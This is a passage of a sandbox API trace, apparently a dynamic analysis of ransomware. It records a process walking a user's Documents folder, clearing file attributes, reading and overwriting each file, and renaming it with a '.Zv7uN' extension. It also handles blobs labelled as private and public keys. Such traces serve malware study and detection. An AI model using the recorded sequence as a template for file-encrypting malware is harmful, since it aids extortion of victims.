nNumberOfBytesToWrite=0x14f58, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f06040*, lpNumberOfBytesWritten=0x18f978*=0x14f58, lpOverlapped=0x0) returned 1 [0088.154] CloseHandle (hObject=0x124) returned 1 [0088.157] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ln31fapzcnhrtzprq.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ln31fapzcnhrtzprq.xlsx.zv7un")) returned 1 [0088.158] GetCurrentThreadId () returned 0xa30 [0088.158] GetCurrentThreadId () returned 0xa30 [0088.158] GetCurrentThreadId () returned 0xa30 [0088.158] GetCurrentThreadId () returned 0xa30 [0088.158] GetCurrentThreadId () returned 0xa30 [0088.158] GetCurrentThreadId () returned 0xa30 [0088.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880f1fc0, ftCreationTime.dwHighDateTime=0x1d568cb, ftLastAccessTime.dwLowDateTime=0x1a2ef410, ftLastAccessTime.dwHighDateTime=0x1d56d00, ftLastWriteTime.dwLowDateTime=0x1a2ef410, ftLastWriteTime.dwHighDateTime=0x1d56d00, nFileSizeHigh=0x0, nFileSizeLow=0x355c, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="CdH12jxKESc8sWeA7C.pptx", cAlternateFileName="CDH12J~1.PPT")) returned 1 [0088.158] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.158] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.158] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdh12jxkesc8swea7c.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880f1fc0, ftCreationTime.dwHighDateTime=0x1d568cb, ftLastAccessTime.dwLowDateTime=0x1a2ef410, ftLastAccessTime.dwHighDateTime=0x1d56d00, ftLastWriteTime.dwLowDateTime=0x1a2ef410, ftLastWriteTime.dwHighDateTime=0x1d56d00, nFileSizeHigh=0x0, nFileSizeLow=0x355c)) returned 1 [0088.159] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdh12jxkesc8swea7c.pptx")) returned 0x20 [0088.159] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx", dwFileAttributes=0x80) returned 1 [0088.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.170] GetCurrentThreadId () returned 0xa30 [0088.170] GetCurrentThreadId () returned 0xa30 [0088.170] GetCurrentThreadId () returned 0xa30 [0088.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.171] GetCurrentThreadId () returned 0xa30 [0088.171] GetCurrentThreadId () returned 0xa30 [0088.171] GetCurrentThreadId () returned 0xa30 [0088.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdh12jxkesc8swea7c.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.172] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.172] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.172] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x355c [0088.172] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.172] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x355c, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x355c, lpOverlapped=0x0) returned 1 [0088.174] CloseHandle (hObject=0x124) returned 1 [0088.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdh12jxkesc8swea7c.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.177] WriteFile (in: hFile=0x124, lpBuffer=0x1ef4040*, nNumberOfBytesToWrite=0x355c, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef4040*, lpNumberOfBytesWritten=0x18f978*=0x355c, lpOverlapped=0x0) returned 1 [0088.179] CloseHandle (hObject=0x124) returned 1 [0088.181] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdh12jxkesc8swea7c.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CdH12jxKESc8sWeA7C.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdh12jxkesc8swea7c.pptx.zv7un")) returned 1 [0088.182] GetCurrentThreadId () returned 0xa30 [0088.182] GetCurrentThreadId () returned 0xa30 [0088.182] GetCurrentThreadId () returned 0xa30 [0088.182] GetCurrentThreadId () returned 0xa30 [0088.182] GetCurrentThreadId () returned 0xa30 [0088.182] GetCurrentThreadId () returned 0xa30 [0088.182] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf56ee360, ftCreationTime.dwHighDateTime=0x1d5e815, ftLastAccessTime.dwLowDateTime=0x2ebf30d0, ftLastAccessTime.dwHighDateTime=0x1d5e176, ftLastWriteTime.dwLowDateTime=0x2ebf30d0, ftLastWriteTime.dwHighDateTime=0x1d5e176, nFileSizeHigh=0x0, nFileSizeLow=0x12af, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="Ck9o.pptx", cAlternateFileName="CK9O~1.PPT")) returned 1 [0088.182] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.182] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ck9o.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf56ee360, ftCreationTime.dwHighDateTime=0x1d5e815, ftLastAccessTime.dwLowDateTime=0x2ebf30d0, ftLastAccessTime.dwHighDateTime=0x1d5e176, ftLastWriteTime.dwLowDateTime=0x2ebf30d0, ftLastWriteTime.dwHighDateTime=0x1d5e176, nFileSizeHigh=0x0, nFileSizeLow=0x12af)) returned 1 [0088.183] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ck9o.pptx")) returned 0x20 [0088.183] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx", dwFileAttributes=0x80) returned 1 [0088.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcO